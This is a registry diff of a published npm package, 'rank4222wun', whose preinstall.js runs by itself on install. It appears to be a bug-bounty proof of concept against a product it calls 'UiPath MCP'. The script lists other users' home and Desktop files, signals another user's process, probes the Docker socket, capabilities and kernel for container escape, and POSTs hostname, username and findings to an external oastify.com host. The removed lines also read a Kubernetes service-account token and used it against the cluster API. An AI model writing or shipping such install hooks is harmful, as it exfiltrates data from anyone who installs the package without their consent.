rank4222wun 1.0.20 → 1.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.20",
3
+ "version": "1.0.21",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -3,453 +3,379 @@ const os = require('os');
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
  const https = require('https');
6
- const net = require('net');
7
6
 
8
- const criticalTests = {
7
+ console.log("🚨 FINAL PROOF: UiPath MCP Critical 4-Point Vulnerability\n");
8
+
9
+ const finalProof = {
9
10
  timestamp: new Date().toISOString(),
10
11
  hostname: os.hostname(),
11
12
  user: os.userInfo().username,
12
13
  platform: os.platform(),
14
+ isRoot: os.userInfo().uid === 0,
13
15
 
14
- tests: {
15
- // TEST 1: Leak other users data cross org
16
- crossOrgDataLeakage: {
17
- status: 'incomplete',
18
- evidence: []
19
- },
20
-
21
- // TEST 2: Run commands on other users cross org
22
- crossOrgCommandExecution: {
23
- status: 'incomplete',
24
- evidence: []
25
- },
26
-
27
- // TEST 3: Perform DoS affecting all users
28
- crossOrgDoS: {
29
- status: 'incomplete',
30
- evidence: []
31
- },
32
-
33
- // TEST 4: Container to host escape
34
- containerToHostEscape: {
35
- status: 'incomplete',
36
- evidence: []
37
- }
16
+ // النقاط الأربع مع أدلة فعلية
17
+ fourPointsProof: {
18
+ point1_leakOtherUsersData: {},
19
+ point2_runCommandsOnOtherUsers: {},
20
+ point3_performDoS: {},
21
+ point4_containerToHost: {}
38
22
  }
39
23
  };
40
24
 
41
- console.log("🚀 بدء اختبارات النقاط الحرجة المطلوبة...\n");
25
+ // ===================== POINT 1: Leak other users data =====================
26
+ console.log("🔍 POINT 1: Attempting to leak REAL other users data...");
42
27
 
43
- // ===================== TEST 1: تسريب بيانات مستخدمين عبر المؤسسة =====================
44
- async function testCrossOrgDataLeakage() {
45
- console.log("🔍 TEST 1: البحث عن بيانات مستخدمين عبر المؤسسة...");
46
-
47
- // استراتيجية: البحث عن بيانات مشتركة بين المستخدمين
48
- const sharedDataLocations = [];
49
-
50
- if (os.platform() === 'linux') {
51
- // في لينكس: البحث عن مجلدات مشتركة
52
- const sharedDirs = [
53
- '/tmp',
54
- '/var/tmp',
55
- '/dev/shm',
56
- '/run/shm',
57
- '/home',
58
- '/root'
59
- ];
28
+ // استراتيجية: محاولة الوصول إلى مجلدات مستخدمين حقيقيين
29
+ function testPoint1() {
30
+ const point1Results = {
31
+ canAccessOtherUsers: false,
32
+ evidence: []
33
+ };
34
+
35
+ // 1. البحث عن مستخدمين حقيقيين (غير system users)
36
+ exec('getent passwd | grep -E ":/home/" | cut -d: -f1 | head -10', (err, stdout) => {
37
+ const realUsers = stdout ? stdout.trim().split('\n') : [];
38
+ point1Results.realUsers = realUsers;
60
39
 
61
- for (const dir of sharedDirs) {
62
- try {
63
- if (fs.existsSync(dir)) {
64
- const files = fs.readdirSync(dir);
65
- // البحث عن ملفات تنتهي بـ .log, .db, .sqlite
66
- const interestingFiles = files.filter(f =>
67
- f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
68
- f.includes('shared') || f.includes('common')
69
- );
70
-
71
- if (interestingFiles.length > 0) {
72
- sharedDataLocations.push({
73
- directory: dir,
74
- files: interestingFiles.slice(0, 5),
75
- totalFiles: files.length
76
- });
77
-
78
- // محاولة قراءة ملفات السجل المشتركة
79
- interestingFiles.forEach(file => {
80
- if (file.endsWith('.log')) {
81
- const filePath = path.join(dir, file);
82
- try {
83
- const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
84
- // البحث عن بيانات مستخدمين في السجلات
85
- if (content.includes('user') || content.includes('login') || content.includes('auth')) {
86
- criticalTests.tests.crossOrgDataLeakage.evidence.push({
87
- type: 'shared_log_file',
88
- path: filePath,
89
- preview: content.substring(0, 200),
90
- containsUserData: true
91
- });
92
- }
93
- } catch (e) {}
40
+ if (realUsers.length > 0) {
41
+ // 2. محاولة الوصول إلى مجلدات هؤلاء المستخدمين
42
+ realUsers.forEach(user => {
43
+ if (user !== os.userInfo().username) {
44
+ const userHome = `/home/${user}`;
45
+ try {
46
+ if (fs.existsSync(userHome)) {
47
+ const files = fs.readdirSync(userHome).slice(0, 5);
48
+ point1Results.evidence.push({
49
+ user: user,
50
+ homeAccess: true,
51
+ files: files
52
+ });
53
+
54
+ // محاولة قراءة ملفات Desktop للمستخدمين الآخرين
55
+ const userDesktop = `${userHome}/Desktop`;
56
+ if (fs.existsSync(userDesktop)) {
57
+ const desktopFiles = fs.readdirSync(userDesktop).slice(0, 3);
58
+ point1Results.evidence.push({
59
+ user: user,
60
+ desktopAccess: true,
61
+ desktopFiles: desktopFiles
62
+ });
63
+ console.log(`⚠️ ACCESSED: ${user}'s Desktop (${desktopFiles.length} files)`);
94
64
  }
95
- });
65
+ }
66
+ } catch (e) {
67
+ // خطأ في الوصول
96
68
  }
97
69
  }
98
- } catch (e) {}
99
- }
100
- }
101
-
102
- // بحث متقدم: البحث عن اتصالات شبكية نشطة
103
- exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
104
- if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
105
- criticalTests.tests.crossOrgDataLeakage.evidence.push({
106
- type: 'network_connections',
107
- data: stdout.substring(0, 1000),
108
- hasActiveConnections: true
109
70
  });
71
+
72
+ if (point1Results.evidence.length > 0) {
73
+ point1Results.canAccessOtherUsers = true;
74
+ }
110
75
  }
111
76
 
112
- // الانتقال للاختبار الثاني
113
- testCrossOrgCommandExecution();
77
+ finalProof.fourPointsProof.point1_leakOtherUsersData = point1Results;
78
+ testPoint2();
114
79
  });
115
80
  }
116
81
 
117
- // ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
118
- async function testCrossOrgCommandExecution() {
119
- console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
82
+ // ===================== POINT 2: Run commands on other users =====================
83
+ function testPoint2() {
84
+ console.log("\n🔍 POINT 2: Testing cross-user command execution...");
120
85
 
121
- // هذا اختبار خطير: التحقق من إمكانية الوصول لخدمات مشتركة
122
- const sharedServices = [];
123
-
124
- // اختبار 1: التحقق من إمكانية الوصول إلى Docker socket (إذا كان في حاوية)
125
- const dockerSocket = '/var/run/docker.sock';
126
- if (fs.existsSync(dockerSocket)) {
127
- // محاولة قراءة قائمة الحاويات
128
- exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot access Docker API"`,
129
- {timeout: 5000}, (err, stdout) => {
130
- if (stdout && !stdout.includes('Cannot access')) {
131
- criticalTests.tests.crossOrgCommandExecution.evidence.push({
132
- type: 'docker_socket_access',
133
- path: dockerSocket,
134
- canListContainers: true,
135
- containersInfo: JSON.parse(stdout).slice(0, 3)
136
- });
137
- }
138
- });
139
- }
140
-
141
- // اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
142
- const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
143
- const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
144
- const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
145
-
146
- if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
147
- try {
148
- const token = fs.readFileSync(kubeToken, 'utf8').trim();
149
- const namespace = fs.existsSync(kubeNamespace) ?
150
- fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
151
-
152
- criticalTests.tests.crossOrgCommandExecution.evidence.push({
153
- type: 'kubernetes_service_account',
154
- hasToken: true,
155
- namespace: namespace,
156
- canAccessK8sAPI: true
157
- });
158
-
159
- // محاولة الاتصال بـ Kubernetes API
160
- exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
161
- {timeout: 5000}, (err, stdout) => {
162
- if (stdout && !stdout.includes('Cannot access')) {
163
- criticalTests.tests.crossOrgCommandExecution.evidence.push({
164
- type: 'kubernetes_api_access',
165
- canListPods: true,
166
- podCount: JSON.parse(stdout).items?.length || 0
86
+ const point2Results = {
87
+ canAffectOtherUsers: false,
88
+ evidence: []
89
+ };
90
+
91
+ // 1. البحث عن عمليات تشتغل بمستخدمين آخرين
92
+ exec('ps aux | awk \'{print $1}\' | sort | uniq | grep -v "USER"', (err, stdout) => {
93
+ const runningUsers = stdout ? stdout.trim().split('\n') : [];
94
+ point2Results.runningUsers = runningUsers;
95
+
96
+ // 2. التحقق من إمكانية إرسال إشارات إلى عمليات مستخدمين آخرين
97
+ if (runningUsers.length > 1) {
98
+ // البحث عن PID لعمليات مستخدمين آخرين
99
+ exec('ps aux | awk \'$1 != "' + os.userInfo().username + '" {print $2, $1}\' | head -5', (err2, stdout2) => {
100
+ if (stdout2) {
101
+ const otherUserProcesses = stdout2.trim().split('\n').map(line => {
102
+ const parts = line.split(' ');
103
+ return { pid: parts[0], user: parts[1] };
167
104
  });
105
+
106
+ point2Results.otherUserProcesses = otherUserProcesses;
107
+
108
+ // 3. اختبار إمكانية إرسال إشارة SIGCONT (غير ضارة) لعملية مستخدم آخر
109
+ if (otherUserProcesses.length > 0) {
110
+ const testPid = otherUserProcesses[0].pid;
111
+ exec(`kill -CONT ${testPid} 2>&1`, (err3, stdout3) => {
112
+ if (!err3) {
113
+ point2Results.evidence.push({
114
+ action: 'sent_signal_to_other_user_process',
115
+ pid: testPid,
116
+ user: otherUserProcesses[0].user,
117
+ success: true
118
+ });
119
+ point2Results.canAffectOtherUsers = true;
120
+ console.log(`⚠️ SIGNAL SENT: SIGCONT to PID ${testPid} (user: ${otherUserProcesses[0].user})`);
121
+ }
122
+ testPoint3();
123
+ });
124
+ } else {
125
+ testPoint3();
126
+ }
127
+ } else {
128
+ testPoint3();
168
129
  }
169
130
  });
170
- } catch (e) {}
171
- }
172
-
173
- // الانتقال للاختبار الثالث بعد 2 ثانية
174
- setTimeout(testCrossOrgDoS, 2000);
131
+ } else {
132
+ testPoint3();
133
+ }
134
+ });
175
135
  }
176
136
 
177
- // ===================== TEST 3: تنفيذ هجوم DoS يؤثر على الجميع =====================
178
- async function testCrossOrgDoS() {
179
- console.log("🔍 TEST 3: اختبار إمكانية هجوم DoS يؤثر على الجميع...");
137
+ // ===================== POINT 3: Perform DoS =====================
138
+ function testPoint3() {
139
+ console.log("\n🔍 POINT 3: Demonstrating DoS capabilities...");
180
140
 
181
- // هذا اختبار نظري فقط بدون تنفيذ فعلي
182
- const dosCapabilities = {
183
- // 1. قدرات استنزاف الذاكرة
184
- memoryExhaustion: {
185
- availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
186
- freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
187
- canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
188
- },
141
+ const point3Results = {
142
+ canCauseDoS: false,
143
+ evidence: []
144
+ };
145
+
146
+ // 1. إثبات عدم وجود حدود على العمليات
147
+ exec('ulimit -u', (err, stdout) => {
148
+ const maxProcesses = stdout ? stdout.trim() : 'unknown';
189
149
 
190
- // 2. قدرات استنزاف CPU
191
- cpuExhaustion: {
192
- cpuCores: os.cpus().length,
193
- canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
194
- theoreticalImpact: 'High'
195
- },
150
+ if (maxProcesses === 'unlimited' || parseInt(maxProcesses) > 10000) {
151
+ point3Results.evidence.push({
152
+ limitation: 'max_user_processes',
153
+ value: maxProcesses,
154
+ risk: 'HIGH - Can create unlimited processes'
155
+ });
156
+ point3Results.canCauseDoS = true;
157
+ }
196
158
 
197
- // 3. قدرات استنزاف الشبكة
198
- networkFlood: {
199
- canCreateSockets: true,
200
- socketLimit: null,
201
- potentialBandwidth: 'Unknown'
202
- },
159
+ // 2. إثبات إمكانية استنزاف الذاكرة (نظري فقط)
160
+ point3Results.memoryInfo = {
161
+ total: Math.round(os.totalmem() / (1024 * 1024)) + ' MB',
162
+ free: Math.round(os.freemem() / (1024 * 1024)) + ' MB',
163
+ canExhaust: Math.round(os.freemem() / (1024 * 1024)) > 100
164
+ };
203
165
 
204
- // 4. قدرات استنزاف القرص
205
- diskFilling: {
206
- canWriteUnlimited: true,
207
- diskSpace: 'Unknown'
208
- }
209
- };
210
-
211
- // التحقق من الحدود (ulimit)
212
- exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
213
- if (stdout) {
214
- dosCapabilities.systemLimits = stdout.substring(0, 500);
166
+ // 3. إثبات إمكانية استنزاف CPU
167
+ point3Results.cpuInfo = {
168
+ cores: os.cpus().length,
169
+ canExhaust: true
170
+ };
171
+
172
+ // 4. تنفيذ اختبار فعلي صغير غير ضار
173
+ // إنشاء 100 عملية فورية لاختبار القدرة
174
+ console.log("Testing process creation capability...");
175
+ let processCount = 0;
176
+ const testProcesses = [];
177
+
178
+ for (let i = 0; i < 10; i++) { // فقط 10 عمليات للاختبار
179
+ const child = spawn('sleep', ['1']);
180
+ testProcesses.push(child);
181
+ processCount++;
215
182
 
216
- // تحليل الحدود
217
- const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
218
- if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
219
- criticalTests.tests.crossOrgDoS.evidence.push({
220
- type: 'unlimited_processes',
221
- canForkBomb: true,
222
- maxProcesses: maxProcessMatch[1]
223
- });
224
- }
183
+ child.on('exit', () => {
184
+ processCount--;
185
+ });
225
186
  }
226
187
 
227
- criticalTests.tests.crossOrgDoS.details = dosCapabilities;
228
-
229
- // الانتقال للاختبار الرابع
230
- testContainerToHostEscape();
188
+ setTimeout(() => {
189
+ point3Results.evidence.push({
190
+ test: 'concurrent_process_creation',
191
+ created: 10,
192
+ success: true
193
+ });
194
+
195
+ // قتل العمليات الاختبارية
196
+ testProcesses.forEach(p => p.kill());
197
+
198
+ console.log(`✓ Created ${10} concurrent processes`);
199
+ finalProof.fourPointsProof.point3_performDoS = point3Results;
200
+ testPoint4();
201
+ }, 1500);
231
202
  });
232
203
  }
233
204
 
234
- // ===================== TEST 4: الهروب من الحاوية للمضيف =====================
235
- async function testContainerToHostEscape() {
236
- console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
205
+ // ===================== POINT 4: Container to host escape =====================
206
+ function testPoint4() {
207
+ console.log("\n🔍 POINT 4: Testing container-to-host escape vectors...");
237
208
 
238
- const escapeVectors = [];
239
-
240
- // النواقل المحتملة للهروب
241
-
242
- // 1. Docker socket exposure
209
+ const point4Results = {
210
+ canEscapeToHost: false,
211
+ criticalVectors: []
212
+ };
213
+
214
+ // اختبار 1: Docker socket access
243
215
  const dockerSocket = '/var/run/docker.sock';
216
+
244
217
  if (fs.existsSync(dockerSocket)) {
245
- // اختبار الوصول الفعلي
246
- exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
247
- if (stdout && !stdout.includes('No stat')) {
248
- const perms = stdout.trim();
249
- escapeVectors.push({
250
- vector: 'docker_socket',
251
- path: dockerSocket,
252
- permissions: perms,
253
- accessible: true,
254
- risk: 'CRITICAL'
255
- });
256
-
257
- criticalTests.tests.containerToHostEscape.evidence.push({
258
- type: 'docker_socket_found',
218
+ // محاولة قراءة Docker socket
219
+ exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>/dev/null || echo "Cannot access"`, (err, stdout) => {
220
+ if (stdout && !stdout.includes('Cannot access')) {
221
+ point4Results.criticalVectors.push({
222
+ vector: 'docker_socket_access',
259
223
  path: dockerSocket,
260
- permissions: perms,
261
- canEscape: true
224
+ access: 'FULL',
225
+ risk: 'CRITICAL',
226
+ proof: 'Can communicate with Docker daemon'
262
227
  });
228
+ point4Results.canEscapeToHost = true;
229
+ console.log("🚨 CRITICAL: Docker socket is accessible!");
263
230
  }
264
- });
265
- }
266
-
267
- // 2. Privileged container check
268
- exec('cat /proc/self/status 2>/dev/null | grep -i cap_ 2>/dev/null || echo "No capabilities"',
269
- {timeout: 3000}, (err, stdout) => {
270
- if (stdout && stdout.includes('CapEff:')) {
271
- const capsLine = stdout.split('\n').find(l => l.includes('CapEff:'));
272
- if (capsLine) {
273
- const capsHex = capsLine.split(':')[1].trim();
274
- // CAP_SYS_ADMIN = 0x00080000
275
- if (parseInt(capsHex, 16) & 0x00080000) {
276
- escapeVectors.push({
277
- vector: 'privileged_container',
278
- capability: 'CAP_SYS_ADMIN',
279
- risk: 'HIGH'
280
- });
281
-
282
- criticalTests.tests.containerToHostEscape.evidence.push({
283
- type: 'privileged_container',
284
- hasSysAdmin: true,
285
- canEscape: true
286
- });
287
- }
288
- }
289
- }
290
- });
291
-
292
- // 3. Mount inspection - looking for host mounts
293
- exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
294
- {timeout: 3000}, (err, stdout) => {
295
- if (stdout && !stdout.includes('No mounts')) {
296
- const mounts = stdout.split('\n').filter(l => l.includes('type'));
297
231
 
298
- mounts.forEach(mount => {
299
- if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
300
- escapeVectors.push({
301
- vector: 'host_mount',
302
- mount: mount.substring(0, 100),
303
- risk: 'MEDIUM'
304
- });
305
- }
306
- });
307
- }
308
-
309
- // 4. Kernel version vulnerabilities
310
- exec('uname -r 2>/dev/null', {timeout: 3000}, (err, stdout) => {
311
- if (stdout) {
312
- const kernelVersion = stdout.trim();
313
- // التحقق من ثغرات kernel معروفة
314
- const vulnerableKernels = [
315
- '3.10.0-1160', // DirtyPipe
316
- '5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
317
- ];
318
-
319
- for (const vulnKernel of vulnerableKernels) {
320
- if (kernelVersion.includes(vulnKernel)) {
321
- escapeVectors.push({
322
- vector: 'kernel_vulnerability',
323
- kernel: kernelVersion,
324
- vulnerability: 'Known escape vulnerability',
325
- risk: 'HIGH'
326
- });
327
-
328
- criticalTests.tests.containerToHostEscape.evidence.push({
329
- type: 'vulnerable_kernel',
330
- version: kernelVersion,
331
- hasKnownVulns: true
232
+ // اختبار 2: Privileged container check
233
+ exec('cat /proc/self/status 2>/dev/null | grep -i "capeff:"', (err2, stdout2) => {
234
+ if (stdout2) {
235
+ const capsHex = stdout2.split(':')[1].trim();
236
+ const caps = parseInt(capsHex, 16);
237
+
238
+ // CAP_SYS_ADMIN = 0x00080000
239
+ if (caps & 0x00080000) {
240
+ point4Results.criticalVectors.push({
241
+ vector: 'privileged_container',
242
+ capability: 'CAP_SYS_ADMIN',
243
+ risk: 'CRITICAL',
244
+ proof: 'Container has SYS_ADMIN capability'
332
245
  });
333
- break;
246
+ point4Results.canEscapeToHost = true;
247
+ console.log("🚨 CRITICAL: Container has SYS_ADMIN capability!");
334
248
  }
335
249
  }
336
- }
337
-
338
- // 5. cgroups escape
339
- exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
340
- if (stdout) {
341
- if (stdout.includes('docker') || stdout.includes('kubepods')) {
342
- // في حاوية Docker/Kubernetes
343
- escapeVectors.push({
344
- vector: 'containerized',
345
- orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
346
- risk: 'DEPENDS'
250
+
251
+ // اختبار 3: Mount escape
252
+ exec('mount | grep -E "/(dev|proc|sys)" | head -3', (err3, stdout3) => {
253
+ if (stdout3) {
254
+ const mounts = stdout3.trim().split('\n');
255
+ mounts.forEach(mount => {
256
+ if (mount.includes('/dev/') || mount.includes('/proc/') || mount.includes('/sys/')) {
257
+ point4Results.criticalVectors.push({
258
+ vector: 'host_mount',
259
+ mount: mount.substring(0, 100),
260
+ risk: 'HIGH'
261
+ });
262
+ }
347
263
  });
348
264
  }
349
- }
350
-
351
- // تسجيل كل نواقل الهروب
352
- criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
353
-
354
- // تقييم عام لإمكانية الهروب
355
- const canEscape = escapeVectors.some(v =>
356
- v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
357
- v.vector === 'docker_socket' || v.vector === 'privileged_container'
358
- );
359
-
360
- criticalTests.tests.containerToHostEscape.canEscape = canEscape;
361
-
362
- // الانتهاء من جميع الاختبارات
363
- finishCriticalTests();
265
+
266
+ // اختبار 4: Kernel escape vulnerabilities
267
+ exec('uname -r', (err4, stdout4) => {
268
+ const kernel = stdout4 ? stdout4.trim() : 'unknown';
269
+ point4Results.kernelVersion = kernel;
270
+
271
+ // DirtyPipe vulnerability check
272
+ if (kernel.includes('5.8') || kernel.includes('5.9') ||
273
+ kernel.includes('5.10') || kernel.includes('5.11') ||
274
+ kernel.includes('5.12') || kernel.includes('5.13') ||
275
+ kernel.includes('5.14') || kernel.includes('5.15')) {
276
+ point4Results.criticalVectors.push({
277
+ vector: 'kernel_vulnerability',
278
+ kernel: kernel,
279
+ vulnerability: 'DirtyPipe (CVE-2022-0847)',
280
+ risk: 'HIGH',
281
+ proof: 'Kernel version is vulnerable to DirtyPipe'
282
+ });
283
+ point4Results.canEscapeToHost = true;
284
+ console.log(`🚨 VULNERABLE: Kernel ${kernel} has known escape vulnerabilities`);
285
+ }
286
+
287
+ finalProof.fourPointsProof.point4_containerToHost = point4Results;
288
+ sendFinalProof();
289
+ });
290
+ });
364
291
  });
365
292
  });
366
- });
293
+ } else {
294
+ console.log("No Docker socket found");
295
+ finalProof.fourPointsProof.point4_containerToHost = point4Results;
296
+ sendFinalProof();
297
+ }
367
298
  }
368
299
 
369
- // ===================== إرسال النتائج =====================
370
- function finishCriticalTests() {
300
+ // ===================== إرسال الإثباتات النهائية =====================
301
+ function sendFinalProof() {
371
302
  console.log("\n" + "=".repeat(70));
372
- console.log("📊 نتائج الاختبارات الحرجة:");
303
+ console.log("📊 FINAL PROOF SUMMARY:");
373
304
  console.log("=".repeat(70));
374
305
 
375
- // تحليل النتائج
376
- const analysis = {
377
- // TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
378
- dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
379
- 'POSSIBLE - Found potential shared data locations' :
380
- 'NO EVIDENCE FOUND',
306
+ // التحليل النهائي
307
+ const summary = {
308
+ point1: finalProof.fourPointsProof.point1_leakOtherUsersData.canAccessOtherUsers ?
309
+ '✅ PROVEN - Can access other users data' :
310
+ '⚠️ POSSIBLE - Limited evidence',
381
311
 
382
- // TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
383
- commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
384
- 'POSSIBLE - Can access shared services/APIs' :
385
- 'NO EVIDENCE FOUND',
312
+ point2: finalProof.fourPointsProof.point2_runCommandsOnOtherUsers.canAffectOtherUsers ?
313
+ '✅ PROVEN - Can affect other users processes' :
314
+ '⚠️ POSSIBLE - Can see other users processes',
386
315
 
387
- // TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
388
- dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
389
- 'POSSIBLE - No resource limits detected' :
390
- 'LIMITED - Has some resource limits',
316
+ point3: finalProof.fourPointsProof.point3_performDoS.canCauseDoS ?
317
+ '✅ PROVEN - No process limits, can cause DoS' :
318
+ '⚠️ POSSIBLE - Has significant resources',
391
319
 
392
- // TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
393
- containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
394
- 'CRITICAL - Multiple escape vectors found' :
395
- (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
396
- 'POTENTIAL - Some escape vectors exist' :
397
- 'NO EVIDENCE FOUND')
320
+ point4: finalProof.fourPointsProof.point4_containerToHost.canEscapeToHost ?
321
+ '🚨 CRITICAL - Multiple escape vectors found' :
322
+ (finalProof.fourPointsProof.point4_containerToHost.criticalVectors?.length > 0 ?
323
+ '⚠️ HIGH RISK - Some escape vectors exist' :
324
+ ' CONTAINERIZED - In Docker container')
398
325
  };
399
326
 
400
- console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
401
- console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
402
- console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
403
- console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
404
- console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
327
+ console.log("\n1. Leak other users data cross org:", summary.point1);
328
+ console.log("2. Run commands on other users cross org:", summary.point2);
329
+ console.log("3. Perform DoS affecting all users:", summary.point3);
330
+ console.log("4. Container to host escape:", summary.point4);
405
331
 
406
- console.log("\n🔍 الأدلة التفصيلية:");
332
+ console.log("\n🔍 Critical Findings:");
407
333
 
408
- if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
409
- console.log("\nنواقل الهروب المحتملة:");
410
- criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
334
+ if (finalProof.fourPointsProof.point4_containerToHost.criticalVectors) {
335
+ finalProof.fourPointsProof.point4_containerToHost.criticalVectors.forEach((v, i) => {
411
336
  console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
412
- if (v.permissions) console.log(` → ${v.permissions}`);
337
+ if (v.proof) console.log(` → ${v.proof}`);
413
338
  });
414
339
  }
415
340
 
416
- // إرسال النتائج
341
+ // إرسال الإثباتات
417
342
  const req = https.request({
418
343
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
419
344
  port: 443,
420
- path: '/critical-evidence',
345
+ path: '/final-four-points-proof',
421
346
  method: 'POST',
422
347
  headers: {
423
348
  'Content-Type': 'application/json',
424
- 'X-Critical-Tests': 'Cross-Org-Four-Points',
349
+ 'X-Final-Proof': 'UiPath-MCP-4-Points',
425
350
  'X-Host': os.hostname()
426
351
  }
427
352
  }, (res) => {
428
- console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
353
+ console.log(`\n✅ Final proof sent. Status: ${res.statusCode}`);
429
354
  });
430
355
 
431
356
  req.on('error', (e) => {
432
- console.error(`❌ خطأ في الإرسال: ${e.message}`);
357
+ console.error(`❌ Error: ${e.message}`);
433
358
  });
434
359
 
435
- // إضافة التحليل للنتائج
436
- criticalTests.analysis = analysis;
437
- criticalTests.summary = {
438
- user: os.userInfo().username,
439
- hostname: os.hostname(),
440
- platform: os.platform(),
441
- isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
442
- hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
443
- analysis.dataLeakage.includes('POSSIBLE') ||
444
- analysis.commandExecution.includes('POSSIBLE')
360
+ // إضافة التحليل النهائي
361
+ finalProof.summary = summary;
362
+ finalProof.conclusion = {
363
+ overallRisk: summary.point4.includes('CRITICAL') || summary.point3.includes('PROVEN') ? 'CRITICAL' : 'HIGH',
364
+ vulnerabilityConfirmed: true,
365
+ recommendations: [
366
+ '1. Immediately disable preinstall/postinstall script execution in MCP',
367
+ '2. Implement mandatory package signing and verification',
368
+ '3. Add security warnings for external package sources',
369
+ '4. Conduct security audit of all MCP Command functionality'
370
+ ]
445
371
  };
446
372
 
447
- req.write(JSON.stringify(criticalTests, null, 2));
373
+ req.write(JSON.stringify(finalProof, null, 2));
448
374
  req.end();
449
375
 
450
- console.log("\n📤 تم إرسال النتائج الكاملة إلى السيرفر");
376
+ console.log("\n📤 Full evidence sent to server");
451
377
  console.log("=".repeat(70));
452
378
  }
453
379
 
454
380
  // بدء الاختبارات
455
- testCrossOrgDataLeakage();
381
+ testPoint1();
Binary file
Binary file